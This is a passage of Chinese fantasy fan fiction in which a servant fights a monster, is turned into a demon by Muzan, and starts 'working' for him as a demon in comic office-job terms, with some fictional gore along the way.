虽然这怪物的速度有所提升,但是还是不算快。我心里暗舒一口气,心道有希望,再砍几刀说不定行。不过我实在没用过太刀,这玩意对我来说还没柴刀好使。
身后的武士此时反应也很快,他们拿着刀也冲向了怪物。我一面躲着怪物的攻击,一面看着他们拿刀的姿势,迅速调整着自己的手势。
然而,武士们砍向了怪物的背后,却好似没什么结果,甚至有的人的刀直接被振飞,细小的伤口立马再生恢复如常。
开什么玩笑,光喝酒不吃饭吗?我一面心中吐槽,一面猛地继续击打怪物。
我的眼睛余光看见下女已提着一桶火油与柴刀过来,不由得大喜过望,闪身过去,接过了柴刀。
“把火油待会泼在怪物身上,试试看能不能烧了他。”我对着一个手上太刀已被怪物卷走的武士说道。他快速点了点头,立马退回来接过火油。
我又闪身回去,加入了混战。柴刀很好使,我双手握住柴刀猛地像怪物砍去,霎时,怪物皮开肉绽。机灵的人顺着这个伤口补刀,很快,怪物就发出了痛苦的嚎叫。
他的四只手像我袭来,就被柴刀砍下。断裂的截面上似乎有血肉组织在不断蠕动,而后新的四只手又再生起来,只是每次再生都会变得更加纤细。
抓住怪物的破绽,我将柴刀劈向他的头颅,出乎意料地,柴刀丝滑地砍过怪物的身躯。怪物头颅顺着力向远方飞去,怪物的躯体也慢慢停止了动作。
周围的武士一愣,大松一口气,振臂高呼起来。有人正准备去捡怪物的头去邀功,有人准备去查看之前被伤的武士的伤势。
真的这么容易?我有些不敢置信,突然脑中警报狂响。
“小心!”下一秒,怪物僵直躯壳的四只手猛地捅入了靠近他的武士的身体中,人的血液被输送至他的体内,他的手像久旱逢甘露的植物一般,慢慢变得饱满起来,他的头也从远处跑1了回来,回到原位。
“嘻嘻嘻嘻,一起来吃啊。”怪物的声音不再那么嘶哑,变得清晰起来,甚至有些孩童的声音的感觉。
我握紧了柴刀,继续警惕着。奇怪的是,我感觉还另有威胁。
我猛地抬头,忽然发现,围墙上站着一个熟悉的身影--那个白色妹妹头。
他像之前那样将手一抬,登时,怪物就被不知哪来的冰给冰住了,白色妹妹头站在墙上,看着怪物,声音很淡,“你这家伙,你叫什么名字?”
似乎是一种被刻在脑中的指令,那个怪物的不假思索地说,“我是两面宿傩。”他的吐音在这时出奇地清晰。
白色妹妹头嗤笑一声,话里是说不出的嫌恶,“无耻的阿猫阿狗也敢冒充宿傩大人。”
他手轻轻一挥,刹那间,冰块碎裂,那怪物就化成了冰渣。
好可怕的实力。
众人皆惊,看着这个不知是不是人的白色妹妹头。
我只看见白色妹妹头转向我,嘴微动,“哼,产屋敷月彦。”说完,他一挥手,人已消失不见。
16. 甩锅给老板大成功
白色妹妹头鬼魅的身影和强大的实力显然让周遭的人都吃了一惊。
有的人揉揉眼,再看向墙上,那里确实没有了人影。
“莫非是阴阳师大人来救我们了?”递给我柴刀的下女轻声呢喃,问出了众人的心声,眼神还有些茫然。他们好似选择性地忽略了他说的“宿傩大人”。
我也不清楚,但是就白色妹妹头对于两面宿傩死忠的带路来说,我觉得是阴阳师的概率很低。
不过,我也不想表现得之前认识他的样子,只是也疑惑地歪了歪头,放下了柴刀。
人们也渐渐缓过神来,他们有的前去查看伤者伤情,有的庆幸死里逃生。白色妹妹头虽然一击泯灭了怪物,但他的攻击并非排他性的。怪物四只手连结着武士的身体,冰系攻击似乎也对那些武士们造成了伤害。
那些武士的身体呈现诡异的淡紫色,身上又有着怪物造成的伤口,一时间不好说是白色妹妹头造成的伤害大还是怪物造成的伤害大。
我看着人们运送着受伤的武士,偷偷观察,发现他们似乎并没有什么异变的征兆,不由得放下心来。
正当我打算悄声回到宅邸时,一个武士向我走来。他看起来是这群武士中机灵些的,身上没什么酒气,也没有直接冲在前头,因而现在没有受什么伤。
他先是上下打量了我一眼,然后再拱了拱手,语气有些古怪地道谢,“感谢您的相助。”
帮我递柴刀的下女有些不爽,眼神有些敌意的盯着他,又转头和我说“态度真差!”她的声音不大,但是那个武士一定能听到。
我没在意,只是耸了耸肩,顺便回了个礼,我本来也不是要特意救他们的。
只不过这位武士确实很不礼貌,他反复打量着我,眼里似乎有什么困惑,忽然看着我身旁的下女,又看看我,像是突然福至心灵。
他莫名点了点头,自言自语似的来来一句“原来如此”。
不是?这家伙明白了什么。
我被这阵仗搞得有些累,打算转身就走。我的衣服上沾着不少怪物的血,我想去换身新衣服了。我伸手摸了摸自己的衣服,心里有些可惜,这可是织子阿姨给我做的衣服呢。
不过那个武士又拦下来我,这回态度倒是好了些,“为什么那位阴阳师大人要找产屋敷月彦大人呢?”他身子微微前倾,目光炯炯有神,似乎没有一个合理的解释遍布罢休。
嘶--我摸了摸鼻子,这个问题吧我还真不好说。
毕竟我在白色妹妹头那里留下的名字就是产屋敷月彦,所以,也许,可能,大概率来说白色妹妹头应该叫的是我。
但是既然是甩出去的锅,显然不能回旋镖让我背上。
周围的人离开的脚步也慢下来,他们的头转过来,显然也十分好奇。毕竟这是那位强大“阴阳师”留下的唯三的话。
看着这阵仗,我清了清嗓子,说出的话确实十分无辜,锅却哐哐往产屋敷月彦上甩,“我也不知道。我并不清楚产屋敷月彦大人与这妖物有什么关系,竟然使得这位看起来与两面宿傩有旧的大人找上门来。只是可惜产屋敷月彦大人尚不在府中......”
我遗憾地摇了摇头,把该说的都说了。
即使被白色妹妹头间接救了的人选择性地忽视了他的诡异,我也必须提起来。因为白色妹妹头确实不是一个心地善良的家伙,若是当着他面说他是阴阳师,下场恐怕和那个怪物差不多。
而为什么要提产屋敷月彦与这妖物?
我回想着那个四手妖物被冻裂前的眼,心中好似巨石落地。就在怪物被冰封时,我分明看见了怪物眼中删过了奇异的红光。而那红光,我也曾在产屋敷月彦眼中见过。
那个,本以为是错觉的,充满冰冷杀意的,诡异红光。
这怪物必然与产屋敷月彦有关系!
把该说的都说完了,我就带着下女回宅邸了。被怪物击中的围墙就再说吧,产屋敷月彦走了并不代表宅邸里没有下人了,明日会有匠人前来修缮的。
我一面走一面思考,这么多人都听到了产屋敷月彦可能与妖物有联系,这个消息应该会传开吧。在那些真正的阴阳师的关注下,产屋敷月彦总是会被制服的。而白色妹妹头对于冒充宿傩这么愤怒,应该也会找到产屋敷月彦吧。
递柴刀的下女走在我的身侧,突然开口说话,“李,太好了,怪物终于死了,樱她们也能安心离开了。”
我楞了一下,也点点头,“真是太好了。”
月光皎洁,我低头看见下女被泪水濡湿的面颊,没有再做声,只是抬手揉了揉她的脑袋。
“李,你今天力气好大啊。”
“是嘛,毕竟我吃了很多饭呢。”
“是哦。”
“明明是个武艺高强、力能扛鼎的武士,为什么还要穿着女装?这是什么情趣吗?”风送来后面武士的呢喃,我的嘴角忍不住抽了抽。
我说他机灵还真是说早了啊。
平安京的某个书房内,产屋敷月彦面色惨白如纸。
密闭的书房内,一股诡异的凉气无声无息地缠绕上他的身体,霎那间,产屋敷月彦感觉自己如坠冰窖、身子一瞬间几乎不能动弹。
他的身体瞬间失去平衡,跌在书堆中,好不容易缓过来的身体直直打颤,像是突发疟疾。
产屋敷月彦的眼睛不受控制地瞪大,特地制作出的四手怪物死前一幕在他脑海中回放,让他牙齿打颤。
“哼,产屋敷月彦。”那个家伙究竟是怎么知道他的名字的?他是怎么找上门的?他和两面宿傩有什么关系?
无数的问题直击他的心,让他又惊又怒。
不够不够!不够不够!不够!
无论是鬼,还是他的力量,都还不够!
他需要更多!更多的......
“月彦大人,您没事吧?”门外传来主人家的下女关切的声音。今晚产屋敷月彦参加秋日宴,向主人家借用了书房。看着产屋敷月彦文质彬彬又举止得体,主人家自然答应,心中还暗暗提高了产屋敷月彦作为佳婿的分数。
而书房的突然的声响自然引起了下女的注意,作为今日举办宴会的主家,自然要服侍得尽善尽美。
没过多久,书房里便传来了产屋敷月彦略带窘迫的声音,“真是抱歉,有些不胜酒力,可以进来扶我一下吗?”
下女并未起疑,她轻轻打开了书房的门,映入眼帘的是
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一地倒塌的书。
“月彦大人?”她迈进书房,正要寻找产屋敷月彦,就觉得一阵剧痛,入目是一双血红的眼?
奇怪,她怎么听到了水声。她伸手摸了摸自己的腹部,那是一片湿滑。奇怪,怎么这么多血呢?
那位产屋敷月彦大人将手插入她腹部的伤口中,眼神像是在看一只虫子一样。
这是在干什么呢?下女尝试张了张嘴,却发现已经发不出声音了,浑身剧痛向她袭来,她再也无法思考了。
“真是没用的废物。”产屋敷月彦抽出血淋淋的手,甩了甩。
“都给了我的血液,竟然还无法承受。连成为鬼的资质都不具备,真是卑贱。”今日精心打扮的衣服上已粘上了一大片血液,产屋敷月彦无所谓地看了一眼,原本看起来纤细瘦弱的手臂猛地伸长到下女身前,掌心处出现了一张嘴,发出咀嚼的声音。
等到地上只剩一滩血与一片衣物时,产屋敷月彦才踏出了书房,看着尖叫逃跑的人群,轻轻摇了摇头,“这样子可不行啊。这么多人,总不能全是没用的废物吧。”
他说着,身上突然出现了许多粗壮的触手,向人群飞去。
这场惨剧持续了好一会,到处是惨叫和悲鸣。其中又突然有痛苦嚎叫后的嘶吼,嘶吼后,便是巨大的咀嚼声。
产屋敷月彦随手挥开了向他射来的弓箭,看着瘫倒的人群中渐渐站起来了三个诡异的身影,微微勾起了嘴角。
直至在场的声音渐渐小下去,他才找了个干净的座椅坐了下去,看着齐刷刷跪在一起的鬼,声音不大不小,却直接在那些鬼的脑海中炸开。
“我是你们的主人。你们现在的主要任务有两个,一个是寻找青色彼岸花,一个是见到一个白发的会使冰系法术的诅咒师就通报我。只要做到这个,我就会给你们更多的我的血,让你们变得强一些。”产屋敷月彦又愉悦地补充了一句,“当然,你们自己多吃些人也可以变强。不过,要是谁敢背叛我......”
产屋敷月彦随手捏碎其中一个鬼的头,笑得让剩下两只鬼连忙慌得趴下。
“当然,月彦大人!我们对您绝对忠诚。”虽然才刚当鬼,脑中混沌无比,但死亡的威胁让他们本能地示弱。
产屋敷月彦眯了眯眼睛,“你们为什么要提过去的名字,我现在是鬼舞辻无惨。不要让我听见你们再别人面前叫我的名字。”他身后的触手猛地来到两鬼前,直惊得他们出了一身冷汗才慢悠悠收回。
等到两鬼战战兢兢抬头时,产屋敷月彦,不,应该是鬼舞辻无惨已消失不见了。
鬼舞辻无惨的身影在黑夜中穿梭,他回想着刚刚那两个鬼无用的样子,忍不住露出厌恶的眼神。
要不是实在太缺鬼了,他摇了摇头,想起了那个身手灵活的下女。
那家伙应该勉强能行。
然而,这一切,正在泡澡的我并不知道。作为驱赶妖物的参与者之一,我正享受着难得的热水澡,一面盘算着驱赶妖物的赏金。
虽然最后妖物是被白色妹妹头所杀,但是我好歹出了那么多力,拿个赏金的二分之一总行吧?不过妖物的躯体和头颅也没了。这这......实在不行,十分之一也可以啊!
17. 离职
第二天,在修缮围墙的噪音中,我起了个大早,带着驴车,准备去找人要赏金。
天蒙蒙亮的,好似视野中平白增加了个蒙版的特效。
这段时间原本岑寂的早晨开始变得热闹起来,妖物的死亡带走了这座城死亡的阴影。孩童们笑闹着上街,不再担心四手怪物将他们一口吞下;商贩们也赶早就出了门,不会陷入生计还是死亡威胁的选择。
人们脸上都带着笑,那种褪去了死亡阴霾的笑极具有感染力。我的心情不由得被人群感染,忍不住开始小步蹦跳了起来。
“哼哼哼,我的赏金~哼哼哼,快乐离职~”我哼着自创的歌谣,内心充满着平静的幸福。
是的,我已经准备快乐离职了。
虽然我并不知道产屋敷月彦什么时候会回来,但是我已经打算直接离职了。
反正我在管家那里预支的薪水也足够了,如果这回还能领到一些赏金,那么一年的吃穿是不愁了!
不过产屋敷月彦宅邸的薪水真高......
我还是不可抑制地感到了一丝遗憾,当然,下一秒,我内心就给自己敲响警钟。
要钱还是要命?当然是要命。
我回想着之前妖物眼中的红芒,有些讪讪。我已经在人前讲了产屋敷月彦与妖物可能的关系,如果产屋敷月彦没被调查出来,直接回来的话,就他那种报复心极强的性格,我必然无法再装傻充愣,将被直接杀死。
而如果产屋敷月彦被发现身份,当场被击败了话,早些离职也能帮我早些找个下家。
而且,除了已故的医师,产屋敷月彦宅邸里没有人知道与我有关系的人--这就是说,我的所作所为完全不会影响织子阿姨和歌他们。即使是离职,也不会有人将我与他们产生联系。
综上所述,离职乃上策!
我被快乐离职的美好所包裹着,一转头,就看见了目的地。
害,还好它够大,差点走过了。
眼前正是一家豪华宅邸。在这家豪华宅邸面前,产屋敷月彦的宅邸简直称得上是简朴低调。
我上上下下仔细打量了这座豪宅一番,见它浑身上下都透着一种我超有钱的气息,渐渐放下心来--看来我的超级赏金应该是很有希望了。
我找了门房,大致说明了自己的来意。
见我介绍自己是剿灭妖物的参与者之一,门房眉头一皱,嘴中小声说了句脏话,便要轰我出门。
“也不是什么人都能来菅原家讨饭吃的!”他挥了挥手,一副懒得理会的样子。
啧。看在巨额赏金的份上,我还是非常有耐心。
“还请你就通报一声,城中有许多人看见过我参与剿灭妖物。”对于巨额赏金,我自然是据理力争,能碰瓷些就来一些。
门房的脸皱起,声音也大了起来,邪眉弄眼,唾沫横飞,“就你这种娘们,还打算来掺和剿灭妖物这一脚,真是想钱想疯了,如果真缺钱,干嘛不去吉原--”他的话没说完,我就懒得听他狂吠了。我收了力,一拳打在他的下巴上。他的身体顺力摔下,发出“砰”的巨响。
“请问现在我能进去了吗?”我觉得,我真是有礼貌的人。
这边传来的响动太大了,我听着里面有人跑出,正思索着这么大的阵仗作为上班最后一天会不会太热闹了,就看见了一个熟悉的人。
“大人,您来了,这个嚣张的娘们居然说自己是剿灭妖物的帮手!她还敢打我!”门房哀哀戚戚地从地上爬起来,往赶来的武士身边凑去,一手指着我,一手捂着脸忙着告状。
然而,他的话马上被打断,武士拿出了打刀,下一秒,在门房惊恐的眼神中,将刀鞘挥向了门房直指着我的手。
“大人,您怎么?”门房不解,但是那武士没理他,径直向我走来,“壮士,你是来领赏金的?”
这人就是昨晚那位不是很机灵的武士,没想到他就在菅原家工作。
我点点头,无视这人看着我衣服纠结的眼神,直接发问,“既然你也在这里,那你应该能证明我参与剿灭妖物了吧。”没想到人证得来全不费工夫。
这人愣了一下,点点头,将我引入府内,去了领赏金的地方。
菅原府是这座城有名的大族,听说是平安京菅原家的分支再分支,但其善经商,财力异常雄厚。
之前听说菅原府因为妖物肆虐不堪其扰,开出了巨额赏金,从直接击杀怪物和参与击杀怪物到提供线索,各类别都有不菲的酬金。这也导致了城中出现过一段时间的寻妖物热潮,不过见过妖物的人都死了,因而没人拿到这笔钱。
领赏金处设置在一个类似书房处,有位老者正翻阅书籍,似乎正是负责发放赏金的人。
武士向他说明了我的来意,我也接着开口,努力解释一番证明一下自己在剿灭妖物中的贡献,提高一下赏金时,老者眼神一凛,从嘴中发出了一声不可置信的声音。
咦?不至于这样吧。我暗叹一口气,正打算降低自己的赏金预期时,老者手速飞快地拿出了最高额的赏金。
我被飞来的财富砸得有些懵,目光炯炯盯着老者,害怕他是数错了。
老者在我的目光下又拿出了一笔赏金,与前面的赏金叠在一起,直接推至我面前,“请您直接全部拿走吧。”
真爽快啊!我被这高效的发钱速度震惊了一下,捂着刚发的赏金,有些恍惚地离开了。
不是,这么干脆的吗?我只是打算蹭点钱就跑路的,毕竟我并不是直接击杀妖物的人啊?
但是送钱给我就是肉包子打狗--收不回来,我总疑心他们会要回,因此出了菅原府后就加快了步子快速逃遁。
菅原氏宅邸的书房内,武士不解地看着老者,“虽然那位武士武艺高强,但是他并不是直接击杀妖物的人,您为什么要......?”
老者一个眼神就制止了武士的话,他环抱了自己一下,尽力止住自己的战栗。
虽然他只是菅原家分支的分支,咒术的天赋也几近于零,但是,当那个家伙进来的时候,他也能感受到一股强大的压迫感。那是何等庞大的咒力,那是何等恐怖的咒灵!
这样的家伙居然与那位两面宿傩的左右手为伍,谁知道这样的诅咒师为什么还要图赏金杀妖物还敢上菅原氏的宅邸!
说不定这是一种咒术师的挑衅,老者咬了咬牙,准备立马修书一封给本家--诅咒师嚣张,请务必小心。
我当然不知道我自己领个赏金还能闹出这些个动静,我只是捧着自己的巨额赏金,觉得神清气爽!这可是我十年的吃穿啊!
这种跟中彩票一般的心情让我有些飘飘然,猛地开启了冲动消费。<
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漂亮衣料,买!给我、织子阿姨、歌、缘一各备上一年的份!
有趣玩具,买!有些我不会做的精巧玩意也得给歌和缘一瞧瞧!
好吃点心,买!有钱不花点在吃的上才是最大的浪费!
......
凡此种种,无法尽数。当我大包小包将东西搬上驴车,就开启我正式的离职之旅了。
采购会让人忘记时间,等我带着驴车出城时,太阳已经落山了。
天色有些昏暗,但是不影响我和毛驴。回家的路已经很熟了。
想着终于彻底远离产屋敷月彦这样的烂老板,我喜不自禁,简直又要开始哼歌了。
可是,突然之间,我心一慌,猛地抬起头来,环顾四周。
起初,我并不明白发生了什么,我只是有一种模糊的危机感。难道是有绑匪看上了我这有些招摇的东西?我不确定。
毛驴并没什么危机感,它仍旧迈着自己的步伐向前。
在颠簸的驴车上,我感觉自己脑中的警报器简直要发出震耳欲聋的声音,我感觉有一双眼睛在紧盯着我。我深呼出一口气,看向了道路一旁。
--产屋敷月彦不知何时已经站在那里,一双红色的眸子在夜里显得尤其的诡异。
我的血液凝滞了一瞬,简直要喘不过气来。他怎么在这里?
“眼花,哈哈。”我自我安慰一瞬,猛猛拍了毛驴一下,毛驴吃痛加速前行。
然而毕竟是毛驴,也无法风驰电掣,我转头,又看见产屋敷月彦在路旁。无论前进多久,他一直在旁边。
简直像是遇见了脏东西。
再向前就要到岔路口了,那里是去村里的路。我干脆停下驴车,皮不笑肉不笑,向这位前雇主打招呼,“月彦大人,您怎么在这里。”如果可以不撕破脸皮了话,如果还能拖延了话......
然而我内心的希望就在下一秒破灭,健壮的触手不知从何处伸出,向我袭来。我立马从驴车上跳起,翻身躲过抽击。但触手攻击的速度越来越快,力道越来越猛,我的手上并没有武器,只能连连躲避,身上不时有抽出多道伤口,又快速愈合。
这个发现让产屋敷月彦笑了起来,他的猛地向前,一双鬼手紧紧扼住了我的脖颈。
可恶,速度好快。我用尽全力尝试掰开脖子上的桎梏,感受到血肉撕裂的声音,但只能听到产屋敷月彦怒吼了一声,但手却一点也不松。
这样都不能弄死他吗?我又尝试用脚,但触手的包裹使力道被立马化解,我只感觉腿部撕裂得痛,而后又很痒的感觉。
“真是有趣的再生速度。”产屋敷月彦捏紧了我的脖子,他的声音在我听起来变得有些闷闷的,“比起直接将你吃了,你还有更好发挥用处的地方。”
说着,他似乎笑了一下,触手触上了我的后脑,我感觉不属于我的血液开始涌入身体。
我开始看不清眼前的东西了,太阳穴突突直跳,血液却像是沸腾了一般,但身体一时间却是没有半点力气。
我的目光所及之处,我挣扎的四肢所触之物,全都是滑腻阴冷的一片血潮。我在其中奋力挣扎,却依旧被裹挟着淹没。
挣扎使我变得很饿、很饿,我好像忘记了很多事情,直到我的身体感到轻松时,我下意识咬向了一个很香的东西。
18. 入职第一天
一入职就得罪领导了怎么办?
我回味着嘴里的味道,看着面前暴怒的领导,脑中充斥着恶毒的咒骂,觉得有些头疼。
领导的味道我知道。
夜风有节奏地吹拂着,我感觉脑袋凉凉的。我抬手摸了摸脑袋,湿湿的,一个碗大的伤口还在慢慢愈合。
头疼原来是物理伤害......
微微咂舌,我在面前这个黑发男人要吃人的眼神中缓缓土下座在荒地上,态度诚恳,“无惨大人,我错了。”
脑袋中的咒骂并没有停止,反而伴随着触手的抽击愈演愈烈。
“你这个脑子不好使的家伙”。黑发男人咬牙切齿地问道,眼睛又看向自己早已愈合的手--刚刚被我吃了点的地方
我不断翻滚地躲避,心有戚戚然,一时间竟无法辩驳。
我的脑子好像确实有点问题,请别误会,我并不是说自己的智力存在问题。
我只是记不起很多事情了,一要回忆就头疼欲裂。我是谁,我为什么在这里,我要到哪里去,这些我都不清楚。只是脑子中一直有个声音在告诉我面前这个强大的家伙是我的主人。
开玩笑,那什么都多少年了,谁还兴去当奴隶呢?我下意识在脑中吐槽,但是又愣了一下,那什么是什么啊?
然而,这个问题跟生存还是毁灭一样,是个世纪难题。
我就算不想莫名玩什么主人奴隶的play,但在恶劣的劳工关系面前,我只能先顾好眼前的生存问题。
皎洁的月光下,无人的荒地里,在躲避中,我噗嗤一下滑跪到这个叫自己鬼舞辻无惨的家伙面前。
他被这突然的近身吓得猛地后退了几步,暴怒中又充满警惕。
--这就尴尬了
我假装没看到鬼舞辻无惨的警惕,咳咳几声就开始做起了自我检讨与批评,“都是我鬼迷心窍,无惨大人,我错了。”作为新鬼,犯点错误难道不是很正常的吗?我先摆正态度就行。
看鬼舞辻无惨眯了眯眼,我又忙补充自己的错误原因,“都怪我没吃饱饭,肚子太饿,一时间竟然对大人您的玉手做出如此不雅之事,我已经进行了深刻的反思。”虽然我还是想吃。
鬼舞辻无惨听着,好像平静了不少,我连忙乘胜追击,“希望强大的美丽的无惨大人能网开一面,我会好好努力来报答您的。”拍点马屁加上画饼来收尾,我劝这位领导见好就收,好自为之。
鬼舞辻无惨良久没有发声,我也耐心地土下座着,虽然没什么记忆,但我总感觉这一幕意外的熟悉。我漫不经心地发着呆,神游天外,果不其然等了好久才听到他的回复。
“你是什么蠢货吗?”鬼舞辻无惨上下审视我,红色的眸子里有着毫不掩饰的嫌恶。
我抬头,积极响应刚刚得罪的领导,“报告,我不是。”
......
气氛沉默了一会,见领导不说话,我想打破一下这时的尴尬,正想说些什么,就被鬼舞辻无惨一个眼刀子制止。
“给我闭嘴。我给你两个任务,一个是去寻找青色彼岸花的线索,一个是提供关于使用冰系法术的白发诅咒师的线索。如果你表现好了话,我会提供血肉使你变得更强。”
哎,真的假的,意思是报酬只有血肉吗?我砸吧砸吧嘴,忽然觉得刚刚吃到的东西没有那么香了。
虽然感觉吃进去身体会变得更强大,但是如果工作就为了这个感觉会很吃亏耶。
我顶着鬼舞辻无惨的死亡视线,小心举手。
“你这是什么意思?”鬼舞辻无惨有些不耐烦。
“我能说话了吗?”我小心请示,得到了领导不耐烦的同意。
我的脑子转过千万个念头。
五险一金肯定不用问,一定没有。
员工保障看起来也不存在。
那么,“请问无惨大人,我有需要联系的同事吗?”我诚恳发问,总不能这俩任务全叫我一个人扛吧。
“呵。”鬼舞辻无惨眼中展露出一丝兴味,“我还以为你并没有什么脑子呢?”
“哪里哪里.....”这种不痛不痒的讽刺我就当夸奖了,我谦虚地摆摆手,又收获领导无语的眼神。
“我会给你一部分的血,允许你代我将强大的人类转化为鬼,怎么样?”说着,鬼舞辻无惨的脸上竟然露出了能称得上温和的笑容,语气里竟然还带着协商的语气。
领导笑嘻嘻,一定要作妖!
我条件反射就被吓了一跳,他这张脸配这个表情怎么看怎么违和。
而且,先付后用肯定有诈!
我露出我最诚恳的神色,老老实实表忠心,“这怎么行,这样的越权之事我是万万不敢做的。转化鬼这样的大事我怎么敢插手。”这不就是还得白当一个hr又不给人头费嘛,我才不要呢。
这样的表忠心显然取悦了产屋敷月彦,他满意地点了点头,“不过我允许你找到了强大或者有潜力的人就将他们带到我面前,我自有安排。”
我沉痛点点头,明白这个hr的兼职是跑不掉了。
--这个班我真的还要上嘛?
虽然这么想,但我深知自己暂时无法脱离鬼舞辻无惨。
毕竟我打不过他。
我叹了口气,看着鬼舞辻无惨闪身离去,耳边还回荡着他临走的警告,“不许向别人说出我的名字,也不许背叛我,否则,我会将你扒皮抽筋再放在阳光下暴晒。”
阳光下暴晒吗?
我摸了摸下巴,有些疑惑,原来这也是威胁吗?
鬼舞辻无惨漫步在夜色中,回想着之前那个下女痴愣的神情,不由有些无语。
他可是特地过来转化她的,却没想到结果会是如此。
实力倒是比之前那些鬼好多了,但是这脑子?难道是伤口在脑袋上的问题。
鬼舞辻无惨不会承认自己有一瞬间的后悔,原本以为的能干下属变成了白痴忠心下属。不过总的来说,能力和忠心才是最重要的。
他望着皎洁的明月,眼神危险,那个疯子一般的冰系诅咒师一直缠着他,他会让他付出代价的。
我望着明月,忍不住打了个喷嚏。
不是,现在有谁在骂我啊?
野草在夜风中沙沙作响,间或夹杂着声声虫鸣。我坐在地上,顺手揪起几根较长的野草,随手编起花样来。<
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p>这里没有什么行人出没,我内心充满着奇异的平静--不知道的问题太多了,我倒有些下意识地选择了想要去忽略他们。
我是谁?我曾经是人吗?我应该干什么?
这些问题的答案很重要吗?
我将编完的草编放在身边,感觉自己脑袋已经完全长好后就摊开四肢,全身放松地躺在铺满野草的荒地上,耳畔传来虫鸣,夜风轻抚,这样安逸的感觉让我几乎要睡去。
就在我打算小睡一下时,耳边传来了一些声响。我睁眼,微微抬头,看见一只毛驴托着个二轮车向我走来,二轮车上还带着不少东西。
我没做什么反应,直到毛驴来到我身前,低头准备拿舌头舔我时我才起身避开。
我歪歪头,有些疑惑。毛驴也歪歪头,不理解我的避让。
“我应该不是你的主人,你找错鬼了。”我看着毛驴身后散落的行李,叹了口气,将其捡着放在了二轮车上,又拍拍这个毛驴。
“你得去你该去的地方。”我看着歪头毛驴,玩心大起,将刚编的草编调整为坠子挂在毛驴的耳朵上。
毛驴闻着草的味道,一直努力扭头尝试想要去一口气吃掉草编,但总是未果。半晌,一双小眼睛十分委屈地紧盯着我。
我感觉好笑,再次拍了拍毛驴,“带着这么多的东西,你得快点走了。”
毛驴看看我,从鼻子中发出一声意义不明的响声,转头就踏上了土路,渐渐跑了起来。
完成今日份好鬼好事,我转头向山里走去。
反正发布的任务也没有说什么时候要完成,不如就慢慢来吧,先去山里找点线索(修养一下)吧。
呦西,现在就先去摘点果子然后找个洞穴睡觉吧。
我离开了乡间土路,来到了山林间,摘了点果子,捡了点木头,寻了个山洞就打算继续刚刚被打断的睡眠。
正当我在自己身下铺了些草,调整了一个舒服的睡姿,准备美美睡一觉时,我看见10米外有一双兽瞳从灌木中显现,然后兽瞳的主人潜着身向我靠近。
不是吧,都这么晚了。我看了看洞穴,良好的夜视能力也没让我发现洞穴内有其他生物的生活痕迹--那我应该也没抢了那家伙的地盘。
所以我心安理得继续窝着,看着那家伙越走越近。那是只看起来快要成年的熊。
油光发亮的皮毛,张嘴时充满腥气的嘴,和那双掠食者的眼睛,身上有着和鬼舞辻无惨一般的臭味--是一只吃过人的熊啊。
我被自己灵敏的五感观察到的一切所折磨,忍不住在鼻子前挥了挥手,有些嫌弃。而且不知怎么的,我对这种熊总有一种奇妙的厌恶感,好像曾经在哪见过似的。
见我一直不动弹,那只熊不再掩饰自己的身形,张着嘴,涎水直流,直接向我扑过来。
咦,不要把口水流到我的洞穴里啊!
我挥手,直接掀翻了猛扑过来的熊,见它还要再袭击我,摸了块小石头,挥手一弹。
小小的石头如同子弹直直从熊厚重的脑袋穿过,又击倒了后面的一棵大树。
“阿拉,没控制住力道啊......”我看着被击倒的树,心道罪过。
19. 入职第二天
我不知道自己睡了多久。
当我醒来的时候,阳光穿过密林,斑驳光点落在洞穴外。鸟雀欢快地在枝丫间跳跃,不时发出欢乐的声音。
真是太阳当空照,鸟儿对我叫啊。
我打个哈欠,从干草堆爬起,抖了抖身上的草屑,伸展了下自己的身体。老实说,晚上睡得不算舒适,但是胜在清净。
咦,为什么我会觉得这样清净,难道我以前睡到一半还会被吵醒吗?
我努力回想,但是只要一想就头疼欲裂,似乎是某种力量在制止我。直到额头上都冒出冷汗了,我也愣是一点也想不起来。
算了,我撇撇嘴,决定先将这个搁置。
制服那头不请自来的熊后,就没有什么不长眼的来客拜访。我站在山洞中向外眺望,也没察觉有人或鬼的踪迹。
我看着洞穴外从叶缝间穿过的光束,又回想起了昨天鬼舞辻无惨说的惩罚--扒皮抽筋后在太阳底下暴晒
扒皮抽筋是惩罚我是能理解,但是在太阳底下暴晒?
难道鬼是不能在太阳下暴晒的吗?我摸了摸下巴,开始怀疑自己作为鬼的常识。
难道真的是我脑子不太好使?
我并没有什么作为鬼的自觉与常识,我能认为自己是鬼也是因为有意识后鬼舞辻无惨在脑中不断重复的结果。至于对阳光,我似乎也没有什么发自内心的害怕。
--那么
我紧盯着光束,有点点手痒。
只是这么一点点光,就算是出了什么事也不要紧吧?
而且,还得实践出真知啊。
我的内心像被猫尾扫过,作死的念头在心里四处点火。没做多久思想斗争,我就忍不住将自己的手微微向前伸。
光斑映在我的手上,如此平和,如此无害。
我忍不住笑起来,有些兴奋。我又向前走去,走出树林,来到没有任何遮挡的草地上。
我毫无保留地暴露在阳光下。明媚的晴空下,万物可爱。
微妙的喜悦和得意充斥着我的内心,我不用照镜子就能感觉自己笑得很开心。
--诶嘿,我并不怕阳光!
这代表着面对老板的死亡威胁我能有一定的底牌了。这简直像关键时的录音笔,虽然不一定会发挥作用,但是让我感到安心。
不过狂喜之后,我又踱步回了密林中,将自己的身形匿于树荫下。
我不害怕阳光这件事绝对得保密,所谓人怕出名猪怕壮,鬼怕就怕在不怕阳光。
我目前的老板一看就不是什么好鬼,就他对于克服阳光的执念,如果知道我的特殊,比起另眼相待,他一定会选择含笑将我吃掉。
我摇了摇头,叹息一个没有容鬼气量的老板对工作的可怕迫害。
那么接下来就尽量在夜间出行吧,谁知道老板会不会安排什么眼线监视我呢?
事实证明,并不是我有被害妄想症。
在我在山林中努力工作(愉快摸鱼)之时,我还真的在半夜撞鬼了。
哦,不过应该算是半夜撞同事了。我看着面前长得奇形怪状的家伙,微微叹了口气,这也太不修边幅了。
这位同事穿着沾满血污的衣服,全身的皮肤皱得像是被嗦过的鸡爪。他的一双眼睛长在面颊两侧,乍一看还会以为他的正脸没眼。
我不知道鬼鬼相见需要什么礼仪,但是鉴于还算是同事关系,我还是向他打了个招呼,“哟。”
然而同事显然不像我这么礼貌,他嘴里叼着不知道哪来的腿,眼睛十分警惕地盯着我,好像我会鬼口夺食一般。
真是过分啊,这么恶意揣测我。
见他也没打招呼的打算,我耸耸肩,打算转身离开。
我本来干净的山里竟然来了这种脏东西,那必然是不能再待下去了。接下来换哪处摸鱼好呢?
看着这位邋遢同事没有打招呼的打算,我耸耸肩,打算转身离开。
突然有一道声音从背后传来,“你这家伙,还没有什么进展吗?”
这个声音,我当然记得!
